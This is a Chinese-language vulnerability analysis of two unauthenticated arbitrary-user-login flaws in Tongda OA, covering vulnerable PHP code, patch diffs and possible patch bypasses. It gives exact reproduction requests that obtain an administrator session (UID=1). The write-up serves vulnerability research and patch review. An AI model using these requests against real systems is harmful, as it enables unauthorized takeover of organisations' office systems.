通达OA前台任意用户登录分析
字数 1029 2025-08-25 22:58:35
通达OA前台任意用户登录漏洞分析与复现
漏洞概述
通达OA系统存在两处前台任意用户登录漏洞,攻击者无需认证即可通过构造特定请求获取任意用户(包括管理员)的会话权限。这两处漏洞分别位于logincheck_code.php和login_code_check.php文件中。
第一处漏洞分析
漏洞位置
/logincheck_code.php文件存在未授权访问漏洞
漏洞原理
- 该文件未进行权限验证
- 关键代码段:
$LOGIN_UID = $UID;
$LOGIN_USER_ID = $USER_ID;
...
$_SESSION["LOGIN_UID"] = $LOGIN_UID;
$_SESSION["LOGIN_USER_ID"] = $LOGIN_USER_ID;
$UID和$USER_ID直接从$_POST获取,可被任意控制- 唯一限制是缓存中需要存在
CODE_LOGIN.$CODEUID值
前置条件绕过
- 访问
/ispirit/login_code.php获取codeuid:
$codeuid = $_GET["codeuid"];
$login_codeuid = TD::get_cache("CODE_LOGIN_PC" . $codeuid);
if (empty($login_codeuid)) {
$login_codeuid = getUniqid();
}
TD::set_cache("CODE_LOGIN_PC" . $login_codeuid, $login_codeuid, 120);
漏洞复现步骤
- 首先访问获取
codeuid:
GET /ispirit/login_code.php?codeuid=test
- 然后构造POST请求:
POST /logincheck_code.php
UID=1&CODEUID=_PC[获取的codeuid]
- 此时已获取管理员(UID=1)的会话权限
第二处漏洞分析
漏洞位置
/ispirit/login_code_check.php文件
漏洞原理
- 关键代码段:
$login_codeuid = TD::get_cache("CODE_LOGIN_PC" . $codeuid);
$code_info = TD::get_cache("CODE_INFO_PC" . $login_codeuid);
if ($code_info["type"] == "confirm") {
$UID = $code_info["uid"];
$_SESSION["LOGIN_UID"] = $UID;
}
$codeuid可控,通过CODE_LOGIN_PC获取$login_codeuid- 需要
CODE_INFO_PC缓存中存在type=confirm的记录
前置条件设置
- 访问
/general/login_code_scan.php设置缓存:
POST /general/login_code_scan.php
source=pc&type=confirm&codeuid={获取的codeuid}&uid=1
漏洞复现步骤
- 首先访问获取
codeuid:
GET /ispirit/login_code.php?codeuid=test
- 设置
CODE_INFO_PC缓存:
POST /general/login_code_scan.php
source=pc&type=confirm&codeuid={获取的codeuid}&uid=1
- 触发漏洞:
GET /ispirit/login_code_check.php?codeuid={获取的codeuid}
- 此时已获取管理员(UID=1)的会话权限
补丁分析
第一处补丁
logincheck_code.php增加了:
$token = TD::get_cache("OA:authcode:token:" . $UID);
if (empty($token) || $UID == 0) {
exit();
}
需要OA:authcode:token:$UID缓存存在且$UID不为0
第二处补丁
/general/login_code_scan.php增加了权限验证:
if (!isset($_SESSION["LOGIN_UID"]) || $_SESSION["LOGIN_UID"] == 0) {
exit();
}
必须在已登录状态下才能设置CODE_INFO_PC缓存
漏洞利用思考
- 虽然补丁增加了验证,但如果能找到设置
OA:authcode:token:XXX缓存的方法,仍可能绕过第一处补丁 - 如果存在先开启
session_start()再引入session.php的文件,可能直接覆盖$_SESSION数据
总结
这两处漏洞都源于未验证用户输入直接设置会话变量,配合缓存机制的不当使用,导致未授权用户可获取任意权限。漏洞利用链清晰,复现简单,危害性高。修复方案增加了必要的权限验证,但系统其他类似逻辑仍需全面审查。